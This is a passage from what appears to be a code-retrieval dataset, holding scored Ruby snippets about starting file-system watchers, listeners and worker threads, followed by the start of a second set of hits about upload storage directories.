"text": "def init_worker\n FSEvent.new.tap do |worker|\n worker.watch(@directories.dup, :latency => @latency) do |changes|\n next if @paused\n @mutex.synchronize do\n changes.each { |path| @changed_dirs << path.sub(LAST_SEPARATOR_REGEX, '') }\n end\n end\n end\n end",
"title": ""
},
{
"docid": "f9a2d4e490f8cdd44e11c044ac79ad8b",
"score": "0.6403843",
"text": "def sync\n callback = Proc.new do |modified, added, removed|\n added && added.each do |add_file|\n @store.add(@local_directory + \"/\" + add_file)\n end\n modified && modified.each do |modified_file|\n @store.modify(@local_directory + \"/\" + modified_file)\n end\n removed && removed.each do |remove_file|\n @store.remove(@local_directory + \"/\" + remove_file)\n end\n end\n @listener.change(&callback) # convert the callback to a block and register it\n @listener.start! # have to use !\n end",
"title": ""
},
{
"docid": "27a7404203059704f7820e741af92230",
"score": "0.6398266",
"text": "def listen\n @listener ||= Listen.to(@directory) do |modified, added, removed|\n to_reload = Set[] # list of component path to reload\n\n (added + modified + removed).each do |file|\n to_reload.add(file) if file.end_with? @suffix # add the file to the reload list if it's a component\n\n dependent_comps = @loaded_components.select{ |comp| comp.depend_on? file } # find every components that depend on the current file\n to_reload += dependent_comps.map(&:path) if dependent_comps # add their path to the reload list\n end\n\n unless to_reload.empty?\n @mutex.synchronize do\n info 'Waiting for all event threads to finish...' unless @bot.event_threads.empty?\n @bot.event_threads.each(&:join)\n\n to_reload.each { |file| reload! file }\n end\n end\n end\n\n @listener.start unless @listener.processing?\n end",
"title": ""
},
{
"docid": "cf5406b8cb39c18b605c43d77f5f1b55",
"score": "0.6387851",
"text": "def init_worker\n @worker = INotify::Notifier.new\n @worker.watch(@directory, *EVENTS.map(&:to_sym)) do |event|\n next if @paused\n \n unless event.name == \"\" # Event on root directory\n @changed_dirs << File.dirname(event.absolute_name)\n end\n end\n end",
"title": ""
},
{
"docid": "1922834b5dbac29cd36a4d56c342a6aa",
"score": "0.6372058",
"text": "def start\n puts \"Watcher RUNNING------------------->\"\n loop do\n unless (diff = build_file_list - @org_file_list).empty?\n # sleep 0.5\n diff.each do |meta|\n @callbacks[:new_file_created].call(meta[0])\n end\n exit\n end\n sleep 0.5\n end\n end",
"title": ""
},
{
"docid": "655db775d6c96e22796ab2d4ff0fff4b",
"score": "0.62901056",
"text": "def start\n puts \"Watching these files for changes #{glob}...\"\n configure_directory_watcher\n setup_graceful_exit\n \n directory_watcher.start.join\n end",
"title": ""
},
{
"docid": "59139bb039591e7e4aad4bfe3d12ce7e",
"score": "0.6222161",
"text": "def start_listening\n @continue_listening = true\n while @continue_listening\n listen_for_changes\n end\n end",
"title": ""
},
{
"docid": "cac7b8aa097ce8b0fd6f2b6c0a839594",
"score": "0.61548007",
"text": "def start!\n @adapter.start\n end",
"title": ""
},
{
"docid": "6889c848c64a29dde8442cc8c2e398bb",
"score": "0.6115453",
"text": "def attach\n @monitored_paths.each {|path| SingleFileWatcher.new(path.to_s).attach(@loop) }\n end",
"title": ""
},
{
"docid": "587ed4c8e0c8e7ae6c8a6ac402a9d68d",
"score": "0.60970485",
"text": "def start\n syncer = Syncer.new(@local_directory, @store)\n syncer.sync\n end",
"title": ""
},
{
"docid": "5aea8d97da72334a145c88dd584ac74f",
"score": "0.60951984",
"text": "def _init_worker\n INotify::Notifier.new.tap do |worker|\n _directories_path.each { |path| worker.watch(path, *EVENTS, &_worker_callback) }\n end\n end",
"title": ""
},
{
"docid": "a7072c25beced343595701af398e17e1",
"score": "0.6058208",
"text": "def start\n return unless stopped?\n @stopped = false\n @adapter.opening\n run_input_thread\n end",
"title": ""
},
{
"docid": "e998f783fe43431c7328cec184e24918",
"score": "0.6006888",
"text": "def start_watcher\n Thread.new{ loop{ watcher_cycle }}\n end",
"title": ""
},
{
"docid": "05098801b85c8f108f9180aa96ddfbab",
"score": "0.5987696",
"text": "def _init_worker\n KQueue::Queue.new.tap do |queue|\n _directories_path.each do |path|\n Find.find(path) { |file_path| _watch_file(file_path, queue) }\n end\n end\n end",
"title": ""
},
{
"docid": "ae9a33c5f7e2524c46afc206da43da68",
"score": "0.59225523",
"text": "def start!\n setup\n adapter.start!\n end",
"title": ""
},
{
"docid": "5fa633dded14e39d8f9152c47e6a0e10",
"score": "0.58888465",
"text": "def initialize_adapter\n callback = lambda { |changed_directories, options| self.on_change(changed_directories, options) }\n Adapter.select_and_initialize(directories, adapter_options, &callback)\n end",
"title": ""
},
{
"docid": "74807ac7487b2694af9e94cb4570d047",
"score": "0.58874315",
"text": "def _configure(dir, &callback)\n opts = { latency: options.latency }\n\n @workers ||= ::Queue.new\n @workers << FSEvent.new.tap do |worker|\n _log :debug, \"fsevent: watching: #{dir.to_s.inspect}\"\n worker.watch(dir.to_s, opts, &callback)\n end\n end",
"title": ""
},
{
"docid": "95cc754b1d5f68bce634a07aa051c707",
"score": "0.5874834",
"text": "def run\n self.stopped = false\n Marvin::Logger.info \"Starting up DRb Client\"\n DRb.start_service\n # Loop through, making sure we have a valid\n # RingFinger and then process events as they\n # appear.\n enter_loop!\n end",
"title": ""
},
{
"docid": "0ed46130ad300f491545cfa6f31d6d5c",
"score": "0.586392",
"text": "def start\n Thread.start do\n loop do\n begin\n self.register unless self.registered?\n rescue DRb::DRbConnError\n self.ring_server = nil\n rescue RuntimeError => e\n raise unless e.message == 'RingNotFound'\n end\n sleep @check_every\n end\n end\n end",
"title": ""
},
{
"docid": "7f31caa5e94bebba2126af860db7d00f",
"score": "0.58556587",
"text": "def start\n mutex.synchronize do\n return unless stopped\n @stopped = false\n end\n\n start_worker\n start_poller\n end",
"title": ""
},
{
"docid": "e5894c6c6f796929c7e85daef4b7e7e8",
"score": "0.582871",
"text": "def start &blk\n @stopping = false\n\n starter = -> do\n ssdp_search_and_listen(@search_target, @search_options)\n blk.call(@new_device_channel, @old_device_channel)\n @running = true\n end\n\n if EM.reactor_running?\n log \"<#{self.class}> Joining reactor...\"\n starter.call\n else\n log \"<#{self.class}> Starting reactor...\"\n EM.run(&starter)\n end\n end",
"title": ""
},
{
"docid": "4e6b460b6ed388a1117ec1d96f4cd1e2",
"score": "0.5783248",
"text": "def start(&block)\r\n if isStarted? then\r\n raise RuntimeError, \"already started\"\r\n end\r\n\r\n setState(STARTED)\r\n\r\n @firstLoad = true\r\n @foundFiles = Hash.new()\r\n\r\n # we watch in a new thread\r\n @watchThread = Thread.new {\r\n # we will be stopped if someone calls stop or if someone set a stopWhen that becomes true\r\n while !isStopped? do\r\n if (!@directories.empty?) or (!@files.empty?) then \r\n # this will hold the list of the files we looked at this iteration\r\n # allows us to not look at the same file again and also to compare\r\n # with the foundFile list to see if something was deleted\r\n alreadyExamined = Hash.new()\r\n \r\n # check the files in each watched directory\r\n if not @directories.empty? then\r\n @directories.each { |dirObj|\r\n examineFileList(dirObj.getFiles(), alreadyExamined, &block)\r\n }\r\n end\r\n \r\n # now examine any files the user wants to specifically watch\r\n examineFileList(@files, alreadyExamined, &block) if not @files.empty?\r\n \r\n # see if we have to delete files from our found list\r\n if not @firstLoad then\r\n if not @foundFiles.empty? then\r\n # now diff the found files and the examined files to see if\r\n # something has been deleted\r\n allFoundFiles = @foundFiles.keys()\r\n allExaminedFiles = alreadyExamined.keys()\r\n intersection = allFoundFiles - allExaminedFiles\r\n intersection.each { |fileName|\r\n # callback\r\n block.call(DELETED, fileName)\r\n # remove deleted file from the foundFiles list\r\n @foundFiles.delete(fileName)\r\n } \r\n end\r\n else\r\n @firstLoad = false\r\n end\r\n end\r\n \r\n # go to sleep\r\n sleep(@sleepTime)\r\n end\r\n }\r\n \r\n # set the watch thread priority\r\n @watchThread.priority = @priority\r\n\r\n end",
"title": ""
},
{
"docid": "437b6eafd98bca60993b0df33ce07bf5",
"score": "0.57668984",
"text": "def start\n callback = EM.Callback do\n log \"Adding file '#{@file_path}'...\"\n EM.attach(@file, FileReaderConnection, @write_to_channel, starter, stopper)\n end\n\n super(callback)\n end",
"title": ""
},
{
"docid": "5ff0cf966c9258f70937efb5afd79f69",
"score": "0.5748607",
"text": "def start\n callback = EM.Callback do\n log \"Adding a #{self.class} at #{@host}:#{@port}...\"\n EM.open_datagram_socket(@host, @port, UDPReaderConnection,\n @write_to_channel, starter)\n end\n\n super(callback)\n end",
"title": ""
},
{
"docid": "c235c1b2d0caff893b12de8ca82ee641",
"score": "0.5733132",
"text": "def listen_for_changes\n Listen.to(input_dir.to_s) do\n sync\n end.start\n end",
"title": ""
},
{
"docid": "dae33e7a287438199a8f904bedc7786d",
"score": "0.57202053",
"text": "def start\n puts \"** quick_serve: scanning for files... \"\n # build a file collection\n find_files\n puts \"** quick_serve: watching #{files.size} files for changes... \"\n wait \n end",
"title": ""
},
{
"docid": "b006a6e849792afdf7703e80792aa204",
"score": "0.5694415",
"text": "def start\n if spawner?\n register_spawn_hooks\n else\n register_job_hooks\n logger.info(\"Starting poller\")\n @pending = true\n at_exit { sync }\n unless Thread.new { poll }\n logger.error(\"Couldn't start poller thread\")\n end\n end\n end",
"title": ""
},
{
"docid": "f3fcdc8237b7a3d063bcd035f0c8184b",
"score": "0.5690735",
"text": "def start_driver\n loop_thread = Thread.new { loop }\n start_listener\n loop_thread.kill!\n end",
"title": ""
},
{
"docid": "c669a4db0ec576e2e667161fc1cdd460",
"score": "0.56815124",
"text": "def start!\n @pid_lock.synchronize do\n raise AlreadyStarted if running?\n\n @event_received = false\n\n start_listening_events\n start_process\n start_watchdog\n end\n end",
"title": ""
},
{
"docid": "f24894e5b24ec2c13553ae6eac7050e0",
"score": "0.56299627",
"text": "def listen\n if @listener.nil? then\n @listener = Thread.new do\n loop do\n \t\t\t#sleep(0.001) # Why windows needs this, i don't know.\n @buffer = getd\n\t\t\t Thread.pass\n end\n end\n @listener.run\n\t\t $log.debug(\"Created new thread for \" + @params[\"make\"] + \" \" + @params[\"model\"])\n end\n end",
"title": ""
},
{
"docid": "71fdae346a8460d1cec614cb6b38bbaa",
"score": "0.56245947",
"text": "def run\n evq = Queue.new\n\n if @config.file_path\n dir = File.dirname @config.file_path\n filter = %r{#{File.basename @config.file_path}$}\n @cfg_listener = Listen.to dir do |*args|\n next unless args.reduce(&:+).include? @config.file_path\n if @listener\n puts statusbar \"Re-loading Config File...\", &:yellow\n @listener.stop\n evq.push true\n end\n end\n @cfg_listener.start\n end\n\n # on C-c tell all listeners to stop\n Signal.trap \"INT\", \"DEFAULT\"\n\n # loop forever listening, each time the above block causes the listener\n # to stop it will re-start listening with the new config.\n while true\n do_listening\n break unless evq.pop\n @config.reload\n end\n end",
"title": ""
},
{
"docid": "8744468a286c726f141afabd5d3dd69d",
"score": "0.5589036",
"text": "def start\n interface.add_new_job_listener(self)\n end",
"title": ""
},
{
"docid": "8744468a286c726f141afabd5d3dd69d",
"score": "0.5589036",
"text": "def start\n interface.add_new_job_listener(self)\n end",
"title": ""
},
{
"docid": "6019181dc9424093e3347783a8ef8c3a",
"score": "0.55824244",
"text": "def start\n\n @writer = Writer.new.start\n @worker_pool = WorkerPool.new create_listen_socket\n\n sig_init\n master_loop\n shutdown_writer\n\n end",
"title": ""
},
{
"docid": "872a70d70eb9830ae1f2621c8d4f20e1",
"score": "0.5578626",
"text": "def start\n subscribe &Proc.new { |message| listener(message) }\n end",
"title": ""
},
{
"docid": "f84cebf4c838e01547f44863f96310ec",
"score": "0.5573798",
"text": "def daemonize\n Service.start 'Manager', @object\n\n register_signals\n\n old_dir = Dir.pwd\n Dir.chdir Config::ComponentDir\n component_list = Dir.glob '*'\n Dir.chdir old_dir\n\n component_list.each do |c|\n init_component c\n component_command c, 'start', true\n end\n\n Service.join\n end",
"title": ""
},
{
"docid": "ce2afee43aa119069b4c4d98770e45ad",
"score": "0.5561549",
"text": "def start\n raise NotImplementedError, 'Subclasses of Listener should implement #start'\n end",
"title": ""
},
{
"docid": "ce2afee43aa119069b4c4d98770e45ad",
"score": "0.5561549",
"text": "def start\n raise NotImplementedError, 'Subclasses of Listener should implement #start'\n end",
"title": ""
},
{
"docid": "ed19d49f378ff06afecbd92f7bb3ebde",
"score": "0.5551926",
"text": "def start!\n listener_state = ListenerState.new\n listener_state.options = {\n config_paths: @master_state.config_paths,\n old_workers: map { |l| l.running_workers }.flatten,\n listener_id: next_listener_id,\n }\n listener = ListenerProxy.new(listener_state)\n listener.run\n @master_state.listener_states[listener.pid] = listener_state\n @listener_proxies[listener.pid] = listener\n @master_state.current_listener_pid = listener.pid\n return listener\n end",
"title": ""
},
{
"docid": "6d8195fb7fd62e4047aeb4adb30b5818",
"score": "0.5544811",
"text": "def start\n return if @thread\n @thread = Thread.new do\n loop do\n sleep\n load_files\n end\n end\n end",
"title": ""
},
{
"docid": "e1ca8cb2d9e780a4e0a2818444b75c55",
"score": "0.55151176",
"text": "def start\n @tuple_space_server_receiver.start\n @updater.start\n end",
"title": ""
},
{
"docid": "5a44542e646070bbe62b0add38acc761",
"score": "0.5510836",
"text": "def start\n catch(:stop) do\n @poll_waiter.poll do\n read_events\n end\n end\n end",
"title": ""
},
{
"docid": "6e63a1c79a73646d6cc3f2158a4d357e",
"score": "0.5507821",
"text": "def start\n unless @running\n @connections.each { |conn| conn.start(@start_bytes) }\n @running = true\n end\n end",
"title": ""
},
{
"docid": "2ed2483a8160ab8fdb78ab576042cb34",
"score": "0.5499477",
"text": "def start\n while listen\n # Loop for-ev-er\n end\n end",
"title": ""
},
{
"docid": "d980fdd0bb9a26bd5b973b39d5d0d2b8",
"score": "0.54917675",
"text": "def initialize_listener\r\n @listener = Thread.new do\r\n begin\r\n loop do\r\n while (messages = API.read_input(@device)).empty?\r\n sleep(1.0/1000)\r\n end\r\n add_to_buffer(messages) unless messages.empty?\r\n end\r\n rescue Exception => exception\r\n Thread.main.raise(exception)\r\n end\r\n end\r\n @listener.abort_on_exception = true\r\n @listener\r\n end",
"title": ""
},
{
"docid": "aea2b148fb0cf09ad30efe1fd4259a25",
"score": "0.54753965",
"text": "def start_watching\n @thread = Thread.new{ \n while true\n self.scan_now\n sleep @autoscan_delay\n end\n }\n end",
"title": ""
},
{
"docid": "11e2678e678a1a3639a18780606d0747",
"score": "0.54687023",
"text": "def start\n stop\n @running = true\n @threads << broadcast_worker_loop\n @threads << read_worker_loop\n end",
"title": ""
},
{
"docid": "6f29d3af48d924c4f50255aac70f3427",
"score": "0.54558027",
"text": "def start\n \n register_signal_handlers\n log.info(\"Registered event handlers...\")\n \n EM.synchrony do\n do_work\n end\n \n end",
"title": ""
},
{
"docid": "fa0a035a96deb4d8b415ae1bf5b05f14",
"score": "0.54411125",
"text": "def start\n log('Attempting to start')\n\n return not_enabled unless Vedeu.config.drb?\n\n if drb_running?\n log('Already started')\n\n else\n log('Starting')\n\n DRb.start_service(uri, self)\n\n # DRb.thread.join # not convinced this is needed here\n end\n end",
"title": ""
},
{
"docid": "57ce228476177b46d65ecc74f0a79dae",
"score": "0.5440174",
"text": "def start\n return if @thread\n @thread = Thread.start do\n @fd = Inotify.init\n \n @watchers.each do |watch|\n watch.add_watch(@fd)\n end\n\n @filePtr = FFI::IO.for_fd(@fd)\n while true\n debug \" [+] @watch_thread listening for inotify events\"\n \n buffer = FFI::Buffer.alloc_out(Inotify::Event.size + 4096, 1, false)\n event = Inotify::Event.new buffer\n ready = IO.select([@filePtr], nil, nil, nil)\n n = Inotify.read(@fd, buffer, buffer.total)\n\n event_wd = event[:wd]\n event_mask = event[:mask]\n event_len = event[:len]\n\n debug \" [+] meta event message ignored.\" and next if event_len == 0\n \n # the filename is set after the event datastructure(16 bytes fixed)\n event_file = buffer.get_string(16) # 16 bytes offset\n\n debug \" [+] raw event notification wd(#{event_wd.inspect}) \" + \n \"len(#{event[:len]}) mask(#{event_mask}) \" +\n \"subject(#{event_file.inspect})\"\n\n @watchers.each do |watch|\n # process only if watch descriptor matches\n if event_wd == watch.wd\n watch.process(event_mask, event_file, @notify_targets)\n end\n end\n end\n debug \" [+] the watch thread is terminated.\"\n end # end thread\n end",
"title": ""
},
{
"docid": "5c452cbba0a5abe9d81bb9c944c02e42",
"score": "0.5436283",
"text": "def start\n log('Attempting to start')\n\n return not_enabled unless Vedeu::Configuration.drb?\n\n if drb_running?\n log('Already started')\n\n else\n log('Starting')\n\n DRb.start_service(uri, self)\n\n # DRb.thread.join # not convinced this is needed here\n end\n end",
"title": ""
},
{
"docid": "e5216f371de90c35ffbd13a99d12b87c",
"score": "0.54190147",
"text": "def start\n validate!\n start_messages\n create_workers\n Process.wait\n end",
"title": ""
},
{
"docid": "e5216f371de90c35ffbd13a99d12b87c",
"score": "0.54190147",
"text": "def start\n validate!\n start_messages\n create_workers\n Process.wait\n end",
"title": ""
},
{
"docid": "926fa903aa614692a9ef0744754672d6",
"score": "0.54171115",
"text": "def start\n # Don't send asynchronously\n if Deimos.config.producers.backend == :kafka_async\n Deimos.config.producers.backend = :kafka\n end\n Deimos.config.logger.info('Starting...')\n @signal_to_stop = false\n ActiveRecord::Base.connection.reconnect! unless ActiveRecord::Base.connection.open_transactions.positive?\n\n retrieve_poll_info\n loop do\n if @signal_to_stop\n Deimos.config.logger.info('Shutting down')\n break\n end\n process_updates if should_run?\n sleep(0.1)\n end\n end",
"title": ""
},
{
"docid": "f038ddfec9cc6d74a49d93dcb588ffad",
"score": "0.5404966",
"text": "def start\n DB.reset\n DB.configure do |config|\n config.parse(@options[:config])\n config.logger = logger\n end\n\n GRACEFUL_SHUTDOWN_SIGNALS.each { |signal| trap(signal) { stop } }\n ROTATION_SIGNALS.each { |signal| trap(signal) { Worker.reopen_files } }\n\n preload\n\n loop do\n runtime = Benchmark.realtime { perform }\n sleep(@interval - runtime) if runtime < @interval && !stop?\n\n break if stop?\n end\n end",
"title": ""
},
{
"docid": "92715faa71035b77e9ff09a5fd8e0f66",
"score": "0.54020786",
"text": "def start\n reader = Reader.new(@command, @dir)\n Torkify.logger.info { 'Started torkify listener' }\n @conductor.start reader\n Torkify.logger.info { 'Stopping torkify' }\n self\n rescue Torkify::TorkError\n Torkify.logger.info { \"Tork is not running\" }\n self\n end",
"title": ""
},
{
"docid": "3fb7ca082489d51aec6ff256c0f8d4f8",
"score": "0.5389626",
"text": "def listen\n Thread.new do\n while true\n retrieve_messages\n sleep (0.1)\n end\n end\n end",
"title": ""
},
{
"docid": "58291389737d650a1969f3ead6dc6269",
"score": "0.53792554",
"text": "def start_watchers\n # Watcher callbacks are invoked in a separate Ruby thread. Note that there\n # is a possible deadlock between invoking watcher callbacks and calling\n # close(): if we get a watcher event and a close at around the same time,\n # the close might fire first. Closing the Zk handle will block on\n # dispatching outstanding watchers, but it does so holding the @zk_mutex,\n # causing a deadlock. Hence, we just have the watcher callback spin on the\n # @zk_mutex, aborting if the handle is ever closed.\n @child_watcher = Zookeeper::Callbacks::WatcherCallback.new do\n while true\n break if @zk.closed?\n if @zk_mutex.try_lock\n get_and_watch unless @zk.closed?\n @zk_mutex.unlock\n break\n end\n end\n end\n\n @stat_watcher = Zookeeper::Callbacks::WatcherCallback.new do\n while true\n break if @zk.closed?\n if @zk_mutex.try_lock\n stat_and_watch unless @zk.closed?\n @zk_mutex.unlock\n break\n end\n end\n end\n\n stat_and_watch\n end",
"title": ""
},
{
"docid": "ffd63db37dc7fbaa06dc5474ecb64909",
"score": "0.53713053",
"text": "def start\n @mthread = monitor\n end",
"title": ""
},
{
"docid": "237ccf6ffa73c72fabedbaa53e7d1cc5",
"score": "0.5367506",
"text": "def start\n lock.synchronize do\n return if started.value\n\n started.value = true\n workers[:maintenance] = Thread.new { loop { check_timeouts } }\n workers[:listener] = Thread.new { loop { listen } }\n end\n end",
"title": ""
},
{
"docid": "96ceee518e80171c992c0e7775a0a4e3",
"score": "0.53656095",
"text": "def watch\n @listener ||= Listen.to(\n File.dirname(PATH),\n only: /\\A#{File.basename(PATH)}\\z/\n ) do |modified, added, removed|\n next if modified.empty? && added.empty? && removed.empty?\n\n reload\n end\n\n @listener.start\n end",
"title": ""
},
{
"docid": "983463a752c403bc0c94d94d8f8a9b65",
"score": "0.53486335",
"text": "def run\n capture_signals\n load_config\n\n EM.synchrony do\n connect\n start_throttle\n end\n end",
"title": ""
},
{
"docid": "90d79230bb0c04d29160b7b011356b50",
"score": "0.5347546",
"text": "def run\n @security = Communication::Security.new_client\n\n @subscribe_socket = Communication::SubscribeSocket.new_link(\n Pantry.config.server_host,\n Pantry.config.pub_sub_port,\n @security\n )\n @subscribe_socket.add_listener(self)\n @subscribe_socket.filter_on(@listener.filter)\n @subscribe_socket.open\n\n @send_socket = Communication::SendSocket.new_link(\n Pantry.config.server_host,\n Pantry.config.receive_port,\n @security\n )\n @send_socket.open\n\n @file_service = Communication::FileService.new_link(\n Pantry.config.server_host,\n Pantry.config.file_service_port,\n @security\n )\n @file_service.start_client\n end",
"title": ""
},
{
"docid": "59b791e7bf14d192e1c64d7cfcfde95e",
"score": "0.5338818",
"text": "def run\n @listeners.each {|name,s| \n s.run \n }\n\n $mongrel_sleeper_thread = Thread.new { loop { sleep 1 } }\n end",
"title": ""
},
{
"docid": "7d5a42465b86a9322be06dab469794ac",
"score": "0.5332035",
"text": "def start()\n #start listening\n @transport.monitor do |rmsg,header,payload|\n consume(rmsg,header,payload)\n end\n end",
"title": ""
},
{
"docid": "92568be39a2ffdf95f7704e52df1c16e",
"score": "0.53288126",
"text": "def start\n if !@listener.nil?\n @listener.run(:background => true)\n true\n else\n false\n end\n end",
"title": ""
},
{
"docid": "f11a7dfe8cc57ac2ec7af0a0d39d196e",
"score": "0.53206456",
"text": "def run\n watchers.each(&:run)\n \n self.running = true\n \n sleep_while_running\n ensure\n quit\n end",
"title": ""
},
{
"docid": "44ac5eaee693aca07dcebc14886bc687",
"score": "0.5301996",
"text": "def setup!\n Patches::Queue.apply!\n\n Sidekiq.configure_server do |config|\n config.on(:startup) { start_watcher }\n config.on(:quiet) { stop_watcher }\n\n @communicator.receive(PAUSE_MESSAGE, &method(:add))\n @communicator.receive(RESUME_MESSAGE, &method(:delete))\n @communicator.ready { sync! }\n end\n end",
"title": ""
},
{
"docid": "ee768b934dcd9b40325d29601f534337",
"score": "0.5281158",
"text": "def start\n return if @run\n @run = true\n @worker = Thread.new() do\n Datadog::Tracer.log.debug(\"Starting thread in the process: #{Process.pid}\")\n @last_flushed_services = nil\n next_send_services = Time.now\n\n # this loop assumes spans are flushed more often than services\n while @run\n callback_traces\n if Time.now >= next_send_services\n next_send_services = Time.now + @service_interval\n callback_services\n end\n sleep(@span_interval)\n end\n end\n end",
"title": ""
},
{
"docid": "4f7972c761de84e9bca96179fa8c3149",
"score": "0.5280535",
"text": "def start!\n start\n wait_until_terminated(nil)\n end",
"title": ""
},
{
"docid": "2ec3fc4d0be556b98f1b63d572197148",
"score": "0.52798736",
"text": "def work\n Logger.info \"Starting work...\"\n execute_startup(connections) {|c| c.future.connect}\n execute_startup(devices) {|d| d.future.start_device}\n execute_working_code\n end",
"title": ""
},
{
"docid": "803a80b5b9c289a4d379877443841458",
"score": "0.527907",
"text": "def start\n EM.synchrony do\n run\n end\n end",
"title": ""
},
{
"docid": "f1098f4de3bbd9698ea410a7c7c6bd7f",
"score": "0.5272341",
"text": "def start\n if not running?\n @log.info \"Tracking #{@trackers.keys.count} accounts...\"\n @trackers.each_value {|tracker| tracker.start}\n @running = true\n else\n @log.info \"Already tracking #{@trackers.keys.count} accounts\"\n end\n end",
"title": ""
},
{
"docid": "be16e79655520d0850efa12974f2bf10",
"score": "0.5272324",
"text": "def start\n prepare\n loop do\n git_poller.poll\n sleep ws.config.daemon_polling_period\n end\n end",
"title": ""
},
{
"docid": "d301d266b0793dfc4f1c22686dafda9e",
"score": "0.5271387",
"text": "def watch\n start_watch\n end",
"title": ""
},
{
"docid": "bd4ad58e70ed9e88b06fe67129723f81",
"score": "0.5269904",
"text": "def report_start_run\n @run_status = Moto::Reporting::RunStatus.new\n @run_status.initialize_run\n\n @listeners.each do |l|\n l.start_run\n end\n end",
"title": ""
},
{
"docid": "c6adfbece46a1b3c5fa595221aa9bda0",
"score": "0.5268437",
"text": "def watch!\n start_watch true\n end",
"title": ""
},
{
"docid": "d66e32107cafbb255532bfb23c7d10bc",
"score": "0.5265637",
"text": "def connect\n start_listener!\n end",
"title": ""
},
{
"docid": "f64a02a801c8f0032b5f95b2ce87ad3e",
"score": "0.5265519",
"text": "def start\n validate!\n start_message\n build_threads\n start_threads\n end",
"title": ""
},
{
"docid": "c42b5cca5c4ada7eb7b3a4cdc8872c0b",
"score": "0.52621955",
"text": "def setup_watcher\n this = self\n Handler.send(:define_method, :app) do\n this\n end\n\n @@load_paths.each do |name, path|\n Dir[\"#{self.app_path}/#{path}\"].each do |f|\n EM.watch_file(f, Handler)\n end\n end\n end",
"title": ""
},
{
"docid": "45cf3e70f8a4e88b69d128d26f71d84a",
"score": "0.5249475",
"text": "def start\n # Don't send asynchronously\n if Deimos.config.producers.backend == :kafka_async\n Deimos.config.producers.backend = :kafka\n end\n Deimos.config.logger.info('Starting...')\n @signal_to_stop = false\n retrieve_poll_info\n loop do\n if @signal_to_stop\n Deimos.config.logger.info('Shutting down')\n break\n end\n process_updates\n sleep 0.1\n end\n end",
"title": ""
},
{
"docid": "22b1a15be06dc0b4510437fe1ed96512",
"score": "0.5244936",
"text": "def started(build, listener)\n end",
"title": ""
},
{
"docid": "3b00e908e0ea62be3b7247d2cddf14fd",
"score": "0.5236809",
"text": "def start\n @pid = Process.pid\n @trace_handler = ->(items, transport) { send_spans(items, transport) }\n @runtime_metrics_handler = -> { send_runtime_metrics }\n @worker = Datadog::Workers::AsyncTransport.new(\n transport: @transport,\n buffer_size: @buff_size,\n on_trace: @trace_handler,\n on_runtime_metrics: @runtime_metrics_handler,\n interval: @flush_interval\n )\n\n @worker.start()\n end",
"title": ""
},
{
"docid": "2619f2145f550e244169965acb390539",
"score": "0.523601",
"text": "def watch(directory)\n worker.watch(directory) do |modified_dirs|\n files = modified_files(modified_dirs)\n @callback.call(files) unless files.empty?\n end\n end",
"title": ""
},
{
"docid": "d225965d6b2adba62e94416440ac918e",
"score": "0.5235563",
"text": "def start\n # Generate Device Description XML file\n generate_xml_device_description\n\n # Start server for M-SEARCH request\n start_ssdp_server\n\n # Start server for HTTP request\n start_http_server\n\n # Send initial notification\n notify :alive\n\n # increase BOOTID\n @boot_id = (@boot_id + 1) % 2**31\n\n # and then set a periodic timer for future notifications\n @notify_timer = EM.add_periodic_timer(@notify_interval) { notify :alive }\n end",
"title": ""
},
{
"docid": "02af9cda349636c0c78c29ccfa41c434",
"score": "0.5224099",
"text": "def drb_start!\n Vedeu.bind(:_drb_start_) { Vedeu::Distributed::Server.start }\n end",
"title": ""
},
{
"docid": "dac0667bb0fe65416aea68d9c1c4fd60",
"score": "0.5218589",
"text": "def start\n start_messages\n flush_spaces\n create_workers\n Process.wait\n end",
"title": ""
},
{
"docid": "791a3205839e73f8a06d9911885fda58",
"score": "0.52173746",
"text": "def start_worker\n @trace_handler = ->(items, transport) { send_spans(items, transport) }\n @worker = Workers::AsyncTransport.new(\n transport: @transport,\n buffer_size: @buff_size,\n on_trace: @trace_handler,\n interval: @flush_interval\n )\n\n @worker.start\n end",
"title": ""
},
{
"docid": "4e6a26e63d7acf2d03e87d21b791f6d4",
"score": "0.5216388",
"text": "def initialize(paths, dirs={}, opts={}, &block)\n @paths = paths\n @dirs = dirs\n @opts = opts\n @block = block\n\n @start_time = Time.now\n @file_cache = ThreadSafe::Cache.new\n @changed_files = Queue.new\n @semaphore = Mutex.new\n\n listen_for_changes\n end",
"title": ""
},
{
"docid": "706a4c04051fa61eca48b0457b5fa560",
"score": "0.5211178",
"text": "def start!\n Thread.new {\n Docker::Container.all.each do |container|\n stream_container_logs(container, 'start')\n end\n }\n end",
"title": ""
},
{
"docid": "0ee173348744f008eff9c25c46b1e0dc",
"score": "0.52017754",
"text": "def run\n @active_connections = 0\n @mutex = Mutex.new\n\n logger.info \"Starting server on #{server_configuration.bind}\"\n\n # Set up each listener and add it to an array ready for the event loop\n @active_descriptors = []\n @active_descriptors << establish_socket_server\n @active_descriptors << establish_file_descriptor_server\n @active_descriptors << setup_signal_traps\n\n write_pidfile\n\n # Enter the main loop\n select_loop\n end",
"title": ""
},
{
"docid": "28e537860338a84ff1d855c7a7272c88",
"score": "0.51899",
"text": "def poll_changed_directories\n until stopped\n sleep(latency)\n report_changes\n end\n end",
"title": ""
}
] |
c8eb69867091e6604aef075a2cea5815
|
Directory where uploaded files will be stored (default is /public/uploads)
|
[
{
"docid": "32392bf64e296576ab2e4269b244adad",
"score": "0.0",
"text": "def store_dir\n 'images/portraits/'\n end",
"title": ""
}
] |
[
{
"docid": "49da9be7899af8f7344570f6fb265caa",
"score": "0.85019636",
"text": "def store_dir\n 'public/uploads'\n end",
"title": ""
},
{
"docid": "ea699330da698ab82238282eaec50ce6",
"score": "0.83943826",
"text": "def store_dir\n \"uploads\"\n end",
"title": ""
},
{
"docid": "48ba4e84d748233102af81a1eeea1cc9",
"score": "0.83876246",
"text": "def store_dir\n 'uploads'\n end",
"title": ""
},
{
"docid": "48ba4e84d748233102af81a1eeea1cc9",
"score": "0.83876246",
"text": "def store_dir\n 'uploads'\n end",
"title": ""
},
{
"docid": "d3c2dad34109e0e45f20afe42eabbc42",
"score": "0.79805446",
"text": "def public_upload_files_dir\n \"#{upload_public_root}/#{self.class.to_s}/#{self.id || 'tmp'}\"\n end",
"title": ""
},
{
"docid": "639cd26f22ebaf7996696fb53c0a30f5",
"score": "0.7821354",
"text": "def store_dir\n \"uploads/#{model.class.to_s.underscore}/\"\n end",
"title": ""
},
{
"docid": "639cd26f22ebaf7996696fb53c0a30f5",
"score": "0.7821354",
"text": "def store_dir\n \"uploads/#{model.class.to_s.underscore}/\"\n end",
"title": ""
},
{
